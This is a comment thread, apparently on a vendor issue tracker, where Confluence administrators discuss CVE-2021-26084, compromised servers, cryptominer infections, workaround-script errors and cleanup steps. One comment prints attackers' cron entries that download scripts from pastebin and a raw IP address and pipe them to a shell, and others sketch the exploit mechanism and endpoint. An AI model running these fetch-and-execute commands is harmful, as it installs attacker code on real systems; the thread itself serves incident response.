Yes, sadly.

It's just strange, I've upgraded Confluence less than 1 month ago and the version was affected... But Cloud version didn't.

Could have been hit by
Confluence Security Advisory 2022-06-02

I had version 7.13.5 and i've been affected: https://therecord.media/confluence-and-gitlab-servers-targeted-by-new-ransomware-strain/

My files are now encrypted. How it may happened?

We got hit by this or something else despite being on 7.13.   Is there a cleanup guide available? 

Hi

I posted this question Is the HOTFIX workaround for CVE-2021-26084 still viable? on the community channel.  My basis is that when the hotfix was released, researchers reversed engineered it to find and test the vulnerability, so understandably, persistent threat actors may try to find a way to create a workaround for the workaround.  

Has there been any hint of this, that someone has found a way around this hotfix?

Just got hit by this. Atlassian seems to indicate that upgrading alone is enough. Yet I found the crontab hack mentioned above. Would the Confluence upgrade process have deleted that? Do I need to worry about other malicious files/scripts/binaries this thing has installed?

If you were hacked before the fix was applied then the cleanup of this is yours. There are many ways how this exploit is used, installing a crontab is just one of them. Atlassian can only fix the security hole.

Just got hit by this. Atlassian seems to indicate that upgrading alone is enough. Yet I found the crontab hack mentioned above. Would the Confluence upgrade process have deleted that? Do I need to worry about other malicious files/scripts/binaries this thing has installed?

I am using Atlassian Confluence 3.5.2, the Enterprise Wiki.

Will this notice be included in the Affected versions as well as version 3.5.2?
Or is version 3.5.2 excluded from Affected versions?

I wonder if I should patch version 3.5.2  or not.

If you look at what is possible with this exploit - https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md then you will see that reading your database connection details https://confluence.atlassian.com/confkb/how-to-find-confluence-s-database-connection-parameters-779172320.html#:~:text=Solution,xml%20file is an absolutely trivial and a straightforward thing.

The question "if they have done anything like that" remains open. 

Does the exploit involve a possibility for the attacker to inject malicious content in the database / is the execution of arbitrary code based on any injected content in the database ?

In order to restore our system to make sure malicious code is not present on our server, we would like to know, if we can restore to a backup, apply the hotfix and import the current database content, so we do not lose a couple of days worth work in the system.

Regarding my comment about the failed 5th patch: I downloaded Confluence 5.10.9 and checked how the file looks there. It has those additional lines at the end which we do not have in our version:

## This should only be set by Synchrony/collaborative-editor-plugin and here for Content Reconciliation
#tag ("Hidden" "id=syncRev" "name='syncRev'" "value='$!{action.syncRev}'")
 

So it seems that we are safe when not using this plugin.

Can you trust all the users/systems you have inside your VPN/firewall?

mleung, the exploit involves making an HTTP request to the server.   If untrusted users are able to do that, then they can exploit the vulnerability.  so it depends on your firewall/VPN configuration.

Since Atlassian is not responding to the question of whether Confluence instances running behind a VPN/firewall are vulnerable, can anyone whose Confluence instance has been compromised by this OGNL injection vulnerability exploit (CVE-2021-26084) please state if yours is running behind a VPN/firewall or running publicly? Thanks!

Is there any further information regarding indicators of compromise (IoC's)?

Hi Pandiyan,
we have the same problem with a running Confluence on Solaris.
Did you get some feedback on your ticket ? Perhaps a modified shell-script which adressed the SED-problem ?
Thank you very much !
Regards,
Olaf

We applied the mitigation on our 7.4 instance but it didn't completely fix the vulnerability, because the next day we were notified that our instance was used for a DDOS attack with huge outgoing traffic. So we had to shutdown the 7.4 instance, built a new one on 7.13 and migrate over.

removed the incorrect dbl-quote from lines 23 and 25 in confluence\pages\createpage-entervariables.vm and that fixed the issue.

Hi everybody

Any idea if the Windows version of the patch will still be corrected? We patched our server earlier this week and we're also experiencing the issue Volker highlighted when attempting to create pages from templates

Only seems to impact templates that contain variables.

org.apache.velocity.exception.ParseErrorException: Invalid arg #4 in directive #tag/pages/createpage-entervariables.vm[line 23, column 21]

+1 on Vedant comment

+1 on Vedant question

Hi Atlassian Team, can you please provide inputs to the below questions:

1. How can we verify if the workaround is applied or not?
2. What is the severity for Confluence running behind the VPN/firewall?

Thanks

Thanks, but the definition of temporary still doesnt make sense in the context of mitigation in my opinion. Either it works or it doesn't.

"checking that the temporary workaround script ran to completion without any errors" is not an answer to the question how I can verify if the workaround script really fixed the vulnerability. How can we verify if the workaround script really fixed CVE-2021-26084 in our Confluence installation?

Hi again,

Here is what the support team answered to me :

"

To confirm that the Confluence instance is mitigated against the CVE-2021-26084 vulnerability, checking that the temporary workaround script ran to completion without any errors, and that Confluence was restarted is all that is required.

Due to the critical rating of the CVSS score for Confluence Security Advisory CVE-2021-26084 - OGNL injection - 2021-08-25, we are not currently publicly disclosing the vulnerable endpoints for testing. We have done extensive testing on all known endpoints and they are mitigated once the workaround script has been successfully applied to a Confluence instance.

 You can find more details on our approach to handling security vulnerabilities.

"

That was what i was thinking, not publishing publicly the explanation on purpose.

Regards.

And why do you announce the patch as a temporary solution?

If you are unable to upgrade Confluence immediately, then as a temporary workaround, you can mitigate the issue by running the script below for the Operating System that Confluence is hosted on.

Does it fix the issue or not? What does temporary mean in this context?

Hello Eric Lam or someone else from the Atlassian support team,

could you please answer, if the patch completely mitigates the security issue?

The last post I can see from your site is 1 week ago! Please keep us customers more up to date!

Hi all,

Ran the script and got the "updates completed" so all is ok i guess.

But how can we be sure, how to check the vulnerability is fixed, if my customer asks me ?

Thanks

Regards.

We are running Confluence from a Docker image - atlassian/confluence-server:7.5.0. Does the image that was pushed two days ago (Docker Image ID 181317476ee0) include the work around?

We were affected by this. Pretty distasteful that RCE vulnerabilities are still happening in 2021 with technologee ramping up this hard. Nasdaq is up 23% YTD and we are still having silly issues like this happen and plague users of this highly non-performant software.

Any credits being offered to customers as a result of this bug?

Man I remember one day one guy I know said "hacking is real!Unable to render embedded object: File (" and I was like "no... hacking does not exist, in the same way covid does not" and he was like "y-you're a fool) not found.!!" all shaking and I said "Oh yeah? If hacking is real then hack this DARPA" and he was like "I-I can't..." so he got rekted and admitted defeat, now I'm "dating" his ho of a girlfriend because she left his limp hacking for a chad, that's just life for me I guess

Hello, any update about https://jira.atlassian.com/browse/CONFSERVER-67940?focusedCommentId=2862760&page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel#comment-2862760 ? We have 5.7.1 version.

Thank you

Alex Schuster added a comment - 27/Aug/2021 5:38 PM
On an ancient Confluence 5.8.5, patching file #5 fails, because the string ("Hidden" "id=syncRev does not show up in the TMP_EXTRACT_DIR/templates/editor-preload-container.vm file. Is it still vulnerabe?

Any comment on this please?

Hi all,

While running the workaround (we can´t upgrade our instance inmediately) we got the following errors:

On the oter hand, is there a way to test that the workaround has made our Confluence instance safe?

Can someone give us light on this, please?

Thanks.

Nuria

Hi,

I have a genral question:

Is this vulnerability mainly/only a danger for installatons, accessable by internet or also for internals (not accessibleby internet ) ?

For your info: The scripts on pastebin were trying to download "Kinsing" as described in https://www.bleepingcomputer.com/news/security/atlassian-confluence-flaw-actively-exploited-to-install-cryptominers/

Because on our servers we run confluence as UNIX id "confluence" there is not much it can do. The only relics I found were:

• /var/tmp/go (needed "go" runtime by Kinsing)
• /var/tmp/kinsing

Clamav doesn't recognize those malware bits. You can easily scan for downloaded stuff with (this shows all files owned by the "confluence" user anywhere except the atlassian directories and /proc); you may need to adapt the egrep paths a bit to point to your confluence install dir and confluence data dir (if the paths don't match you will get all files of your installation also listed, because they are also owned by the user id):

find / -user confluence | egrep -v '(/var/atlassian|/opt/atlassian|/proc)'

For me this uncovered the above installations in /var/tmp, the keyword "kinsing" in one of the above files let ring the alarm bells ASAP.

@SebastienHutter

Thanks you very much for your help

good idea with the clamav scan

Starting it right away !

@Etienne Charlier

Yes, the attack was executed with the same pastebin but it was removed on the 25th by the pastebin security team.

Unfortunately, they can't tell us what the contents are without quite the legal hurdle as they require a Subpoena to release its content

Looking at the different cronjobs that where executed since the break different scripts were tried.

None of these can be downloaded anymore. (on debian the cron logs are in /var/log/syslog, in rhel in/var/log/cron)

$ grep -r confluence cron* | grep CMD | cut -d"(" -f3 | sort -u
curl -fsSL https://pastebin.com/raw/rH3ZHAvC | sh)
curl -fsSL https://pastebin.com/raw/UQDDaGQX | sh)
wget -q -O - http://195.3.146.118/cf.sh | bash > /dev/null 2>&1)
wget -q -O - http://195.3.146.118/unk.sh | sh > /dev/null 2>&1)

I am running clamav over the confluence installation directory and data directory at the moment to make sure nothing else was added to the system

// code placeholder
# on deb
apt-get install clamav
sudo freshclam
sudo clamav -l /root/clamav.log -r -i /path/to/confluence/installdir

I dont think I will find anything interesting though. Simply because the attack seems to be very simplistic and feels like a scripted attack to get monero coins for free

I've been researching this issue after applying the temporary workaround until we can set up a maintenance window to do a full upgrade for our Confluence Server application. I'd also like to know if there's way to to determine if a breach has occurred. Fortunately our Linux host sits behind a load balancer and doesn't allow public access without authentication through the load balancer first, so my hope is that our risk is lower.

I don't see any signs of excessive requests or CPU usage in our logs, and I didn't see any additions under /var/spool/cron (the folder is empty) or any other crontabs added that look unfamiliar. The only potentially suspicious file I've found so far is a file named "snappy-unknown-<hash>-libsnappyjava.so" under the /tmp folder on our Linux host that appears to have been created after I had already applied the temporary mitigation script. There are similar files in the "temp" folder under our Confluence installation directory, but the timestamps on them are months old.

Is that file something I need to be worried about? A previous user mentioned that .so files can be loaded and then run arbitrarily as part of this exploit.

Its not too late to send an email out to all customers letting them know the initial advisory was incorrect and they should patch immediately.  The longer you wait to communicate this, the more installs of confluence are getting compromised.

I hope you know that most customers are not monitoring your Jira ticket(s) and won't see updates like the one that Brian made at 3:29PM today to this ticket.

Hey Atlassian, quick suggestion!

ATLASSIAN COMMS - PLEASE READ

This should have gone out as an additional advisory in case you weren't watching this issue. Your initial config notes about allow signups was an indication of systems that weren't affected. To me, this was a communication error on your part and you could have been more proactive in making the correction.

@Sebatien Hutter

Also discovered a rogue entry in /var/spool/cron/crontabs/confluence 

trying to download and run a paste bin with ID  rH3ZHAvC.

Is this the same pastebin ? 

Does anyone has a chance to investigate what this particular pastebin does ?

We have been warned by google cloud our instance was burning cpu like hell...

How to be reasonably confident we are only attacked by miners and not by "something" else more dangerous ?

Our server was compromised - dbus process started from confluence user take 100% CPU cores.

Studies have shown that Monero miner was installed on the server.

yeah thats pretty much what happened on the system.

installed a crontab for the confluence system user which downlaoded a pastebin and executed it.

good to know thanks for the clarification.

Sebastian,

Yes, this is related to the vulnerability, already saw this exact same call, with a payload using java.runtime.Runtime.exec to run something on the VM.

Basically it uses the template's EL to run some java code, and Runtime class is used to run system calls (run a program on the hosting machine). First they have to deploy a library (usually a .so file in /tmp folder - or java temp directory if modified), then use Runtime to execute native code, by loading the .so library and and executing code provided by the library).

Our confluence server was compromised 2 days ago it seems.

I executed the CVE script which hopefully closed the door.

I also would like to know how I can ensure that the mentioned vulnerability was used to breach the system.

As there are no details how the vulnerability is used in the wild its impossible for me to be sure about it.

In the access logs I have started seeing requests like this one which approximately match the time we recognized the breach

```

POST /pages/createpage-entervariables.action?SpaceKey=x

```

Are the requests and the vulnerability related?

Hi,
We are server edition in Linux. I ran the script and it gave me some successful updates.
Are we saying even after running the mitigation steps still opens the door for vulnerability ?

I agree, this would be nice to get info on how to investigate Confluence servers, check wether they are compromised or not (linux and windows).

Regards

Frederic Esnault

Morning Ken,

can you please give us more informations about your system that is compromised? Are you implemented the patch? On what version is your confluence running?
Is your confluence from outside reachable? And how do you recognized that is compromised?

Cheers, Stefan

Echoing Michael Whitehead's question 8 hours ago....is it possible to tell if a server has been compromised?

We had a server compromised this morning and I would like to establish with certainty that it was this vulnerability if possible.

Hi Eric,

it's been 6 days since I asked for advice what to search for in our Confluence apps.

This is a highly critical issue and we want to make sure, that our apps do not provide another gateway for the breach on our customers instances.

As you already find instructions how to exploit the breach, there is no need for secrecy at this point!

Cheers paul

It is pretty astounding that you completely re-worded the definition of how an environment would be affected after sending out the initial emails, yet you failed to send further email communications out regarding the correction.
That is a massive difference in needing to react to this disclosure or not.

Now your customers who had Allow people to sign up to create their account disabled will have actually been exposed for the past week and will be scrambling to patch this ASAP.
This has not been handled well by your security/communications team at all.

Having Just updated our system would there be a quick way to see if we'd been compromised in the interim?

Can confirm the same error as @Volker Weinrich when using templates with variables after the patch via script for Windows. 

Invalid arg #4 in directive

Looks like we need a patch for the patch.